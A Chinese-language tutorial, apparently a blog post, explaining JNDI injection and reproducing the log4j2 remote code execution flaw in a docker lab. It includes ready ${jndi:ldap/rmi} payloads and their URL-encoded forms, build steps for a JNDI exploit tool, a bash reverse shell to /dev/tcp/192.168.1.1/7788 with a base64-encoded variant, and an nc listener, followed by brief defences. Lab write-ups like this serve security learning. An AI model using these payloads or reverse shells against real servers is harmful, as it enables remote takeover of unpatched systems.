log4j远程代码执行漏洞原理详解及复现

什么是JNDI

JNDI: java命名和目录接口,通过访问JNDI,根据命名服务或目录服务来获取相应的资源。命名服务:键值对绑定key = value,通过键名检索值,RMI(远程方法调用)就是典型的命名服务。

  • 目录服务:是命名服务的拓展,通过对象的属性来检索对象,是一种层级关系。可以理解为目录,LDAP(轻量级目录访问协议)就是典型的目录服务。

总结:JNDI对访问RMI或者LDAP服务的代码进行了封装,我们使用JNDI就可以访问这些服务。JNDI相当于是客户端,而rmi,LDAP等这些是服务端。通过JNDI接口,将服务名称和对象关联起来,即传一个name进去,就能够获得对象 。

JNDI可访问的目录及服务有:LDAP DNS NIS JDBC RMI 等等

什么是RMI

Java的远程方法调用,访问RMI时,只需要传入键,即可返回对象。

RMI利用:攻击者通过构造恶意的RMI请求,向受漏洞影响的服务器发送请求并执行恶意代码。

什么是LDAP

LDAP轻量级的目录结构数据库,理解为一个存储目录,里面有我们要的资源

LDAP利用:传一个name进去,就能够获得数据,当name =攻击者构造恶意的ldap请求,请求中包含恶意的Java代码,服务器接收到请求并解析,恶意代码就会执行

LDAP与RMI两种利用方式区别不大

什么是JNDI注入

动态协议转换:JNDI提前有配置初始化环境,设置了属性,但是当lookup()里传进来的参数协议与初始化的Context里配置的协议不一致时,就会动态的进行转换来查找传进去的参数,并且不会报错,所以当参数可控时,攻击者可以通过提供一个恶意的url地址来控制受害者加载攻击者指定的恶意类。

JNDI注入:主要是通过LDAP或者RMI服务来实现的。

JNDI支持一个命名引用方式,可以通过远程下载一个class文件,然后加载构建对象

代码语言:javascript
复制
JNDI注入:${jndi:ldap:192.168.1.1:9998/class}

1、lookup通过名字检索执行的对象 :ldap:192.168.1.1:9998/class
2、在192.168.1.1:9998的ldap服务器中进行查找class,发现不存在
3、就会在远程服务中查找192.168.1.1:9998/class (不管是在ldap服务或者远程服务中,目的都是找到class)
4、找到class 将资源信息返回到JNDI接口,返回给log4j2组件,log4j2 组件会将信息下载下来记录到日志中
5、class是一个文件,会执行里面的代码块。可以通过poc.class文件内容实现任意命令的执行。

总结:{}中的value可以是一个链接

log4j2漏洞

什么是log4j2

代码语言:javascript
复制
log4j是开源的日志记录框架,用于记录程序输入输出日志信息,log4j2 中存在JNDI注入漏洞,当程序记录用户输入的数据时,即可触发该漏洞,成功利用该漏洞可在目标服务器上执行任意代码。

漏洞原理

代码语言:javascript
复制
log4j2 在日志输出中,一旦在log字符串中检测到${},就会调用lookup查询尝试解析其中的字符串,如果未对字符合法性进行严格的限制,攻击者构造恶意的URL地址让其解析,利用 JNDI 协议加载的远程恶意脚本,从而造成RCE。

log4j2漏洞复现

攻击机:kali

靶机:kali 中使用docker 创建log4j2容器

在docker中搭建靶场

代码语言:javascript
复制
拉取靶场镜像:docker pull vulfocus/log4j2-rce-2021-12-09:latest
开启容器:docker run -d -p 9998:8080 vulfocus/log4j2-rce-2021-12-09:latest

访问靶场

验证是否存在漏洞log4j2漏洞

1、利用DNSlog平台获取一个域名,将数据外带出来

http://dnslog.cn/

2、构造payload

{jndi://ldap://ec37qp.dnslog.cn}</p><figure class=""><div class="rno-markdown-img-url" style="text-align:center"><div class="rno-markdown-img-url-inner" style="width:100%"><div style="width:100%"><img src="https://cdn.static.attains.cn/app/developer-bbs/upload/1722910069760525113.png" /></div></div></div></figure><p>3、对URL进行编码处理</p><figure class=""><div class="rno-markdown-img-url" style="text-align:center"><div class="rno-markdown-img-url-inner" style="width:100%"><div style="width:100%"><img src="https://cdn.static.attains.cn/app/developer-bbs/upload/1722910070122017335.png" /></div></div></div></figure><p>4、访问</p><p>此时的payload为URL编码后的 %24%7Bjndi%3Aldap%3A%2F%2Flvngwx.dnslog.cn%7D</p><figure class=""><div class="rno-markdown-img-url" style="text-align:center"><div class="rno-markdown-img-url-inner" style="width:100%"><div style="width:100%"><img src="https://cdn.static.attains.cn/app/developer-bbs/upload/1722910070474299593.png" /></div></div></div></figure><p>数据被外带出来证明log4j2存在漏洞</p><figure class=""><div class="rno-markdown-img-url" style="text-align:center"><div class="rno-markdown-img-url-inner" style="width:100%"><div style="width:100%"><img src="https://cdn.static.attains.cn/app/developer-bbs/upload/1722910070774543145.png" /></div></div></div></figure><div class="rno-markdown-code"><div class="rno-markdown-code-toolbar"><div class="rno-markdown-code-toolbar-info"><div class="rno-markdown-code-toolbar-item is-type"><span class="is-m-hidden">代码语言:</span>javascript</div></div><div class="rno-markdown-code-toolbar-opt"><div class="rno-markdown-code-toolbar-copy"><i class="icon-copy"></i><span class="is-m-hidden">复制</span></div></div></div><div class="developer-code-block"><pre class="prism-token token line-numbers language-javascript"><code class="language-javascript" style="margin-left:0">{jndi://ldap://ec37qp.dnslog.cn}
解析payload
1、首先 发现字符串有${},调用lookup函数
2、解析${}中的内容发现是JNDI的ldap服务
3、攻击者通过DNSlog平台构造恶意的URL将数据外带出来

漏洞利用

1、JNDI注入 ---利用工具

代码语言:javascript
复制
安装:git clone https://github.com/welk1n/JNDI-Injection-Exploit.git
切换目录:cd JNDI-Injection-Exploit
编译安装:mvn clean package -DskipTests
切换到target目录 cd target

使用 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar,依赖Java 版本1.8 或者1.7

代码语言:javascript
复制
工具使用方式:java-jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -c"命令" -A “攻击机的IP”

2、服务器站点的部署

部署:RMI服务或者LDAP服务

目的:是要让受害者访问攻击者准备的恶意服务器,从而执行恶意代码,主要是获得受害者的权限,那么可以执行反弹shell的命令。

将反弹shell通过JNDI注入工具部署在LDAP服务 或者RMI 服务中

写反弹shell

代码语言:javascript
复制
bash -i >& /dev/tcp/192.168.1.1/7788 0>&1
#bash -i 交互式,有问有答
#dev/tcp/192.168.1.1 建立设备的连接
#7788端口:将数据反弹到目标主机的端口
#> 标准重定向输出

3、利用工具得到payload

base64编码:https://ares-x.com/tools/runtime-exec

代码语言:javascript
复制
bash -i >& /dev/tcp/192.168.1.1/7788 0>&1
base64编码后
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTA4Lzc3ODggMD4mMQoKCg==}|{base64,-d}|{bash,-i}

运行:java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTA4Lzc3ODggMD4mMQoKCg==}|{base64,-d}|{bash,-i}" -A "192.168.1.1"

构造完整的payload

RMI :

代码语言:javascript
复制
rmi://192.168.1.1/uuvfsd
JNDI注入:${jndi:rmi://192.168.1.1/uuvfsd}
URL编码:%24%7Bjndi%3Armi%3A%2F%2F192.168.1.1%3A1099%2Fuuvfsd%7D

访问恶意的URL

开启监听

代码语言:javascript
复制
nc -lvvp 7788

shell 上线

防御:

代码语言:javascript
复制
1.用户输入的参数中出现攻击关键字(过滤用户输入)
2.禁止1ookup下载远程文件(命名应用)
3.禁止1og4j的应用去连接外网
4.禁止10g4j使用1ookup方法